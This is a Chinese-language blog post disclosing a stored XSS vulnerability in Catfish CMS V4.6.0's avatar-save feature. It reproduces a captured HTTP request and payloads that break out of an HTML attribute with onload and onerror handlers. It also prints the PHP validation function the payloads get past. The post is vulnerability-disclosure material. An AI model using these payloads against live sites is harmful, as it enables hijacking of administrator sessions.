鲶鱼CMS存储XSS漏洞披露

时间:2022-04-28
本文章向大家介绍鲶鱼CMS存储XSS漏洞披露,主要内容包括XSS漏洞点、相关代码跟进、一点感悟、基本概念、基础应用、原理机制和需要注意的事项等,并结合实例形式分析了其使用技巧,希望通过本文能帮助到大家理解应用这部分内容。

概述

Catfish(鲶鱼) CMS是一款开源的PHP内容管理系统。这个cms是十月我和学长小胡子一起审计的。所以在这里声明下,洞是他找的,他不善言辞,授权给我来写文章。漏洞已提交给厂商,同意公开此漏洞。

XSS漏洞点

这里的版本是V4.6.0。出问题的地方是头像上传这个地方,这个cms以前爆过一枚任意文件删除漏洞也是这里。

  1. 先注册一个普通用户
  2. 登录,上传一张头像。
  3. 上传成功后开启抓包,点击“头像保存”。

抓到数据如下

修改

POST /daimashenji/CatfishCMS-4.6.0/index.php/user/index/touxiang.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
Referer: http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/index.php/user/index/touxiang.html
Cookie: think_var=zh-cn; PHPSESSID=uo2u29h3sf9er6bj9f3d36rj80
Connection: close
Upgrade-Insecure-Requests: 1

avatar=http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/data/uploads/20171109/022d804c4ea9af66c1a1f901d7c0b6a1.png" onload="alert(1)" a="1.jpg&fileselect%5B%5D=

回显

管理员后台浏览普通用户管理

成功x到后台!

相关代码跟进

CatfishCMS-4.6.0/application/admin/controller/Index.php页面代码,96行

这个函数对传入的avatar参数进行检验,继续跟进

位于CatfishCMS-4.6.0/application/admin/controller/Common.php页面,313行

 protected function isLegalPicture($picture)
    {
        if(stripos($picture,'>') === false)
        {
            $pathinfo = pathinfo($picture);
            if(isset($pathinfo['extension']))
            {
                if(in_array($pathinfo['extension'],['jpeg','jpg','png','gif']) && stripos($pathinfo['dirname'],'/data/') !== false)
                {
                    return true;
                }
            }
        }
        return false;
    }

三个限制:

  1. 参数不能含有 “>”
  2. 要以jpeg,jpg,png,gif 结尾
  3. 要含有 “/data/“ 路径

观察原来输出点,是以双引号进行闭合,触发事件可以onload或者onerror或者其他,以.jpg结尾。所以我们payload为:

avatar=[http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/data/uploads/20171109/test.png](http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/data/uploads/20171109/test.png)" onerror="alert(2)" a="1.jpg

一点感悟

最近看到大佬们在微博说的几句: 如果某个地方爆出了洞,就可以往这个地方深挖。因为最后讲道理程序会出问题不仅仅是代码的问题,而是人的问题。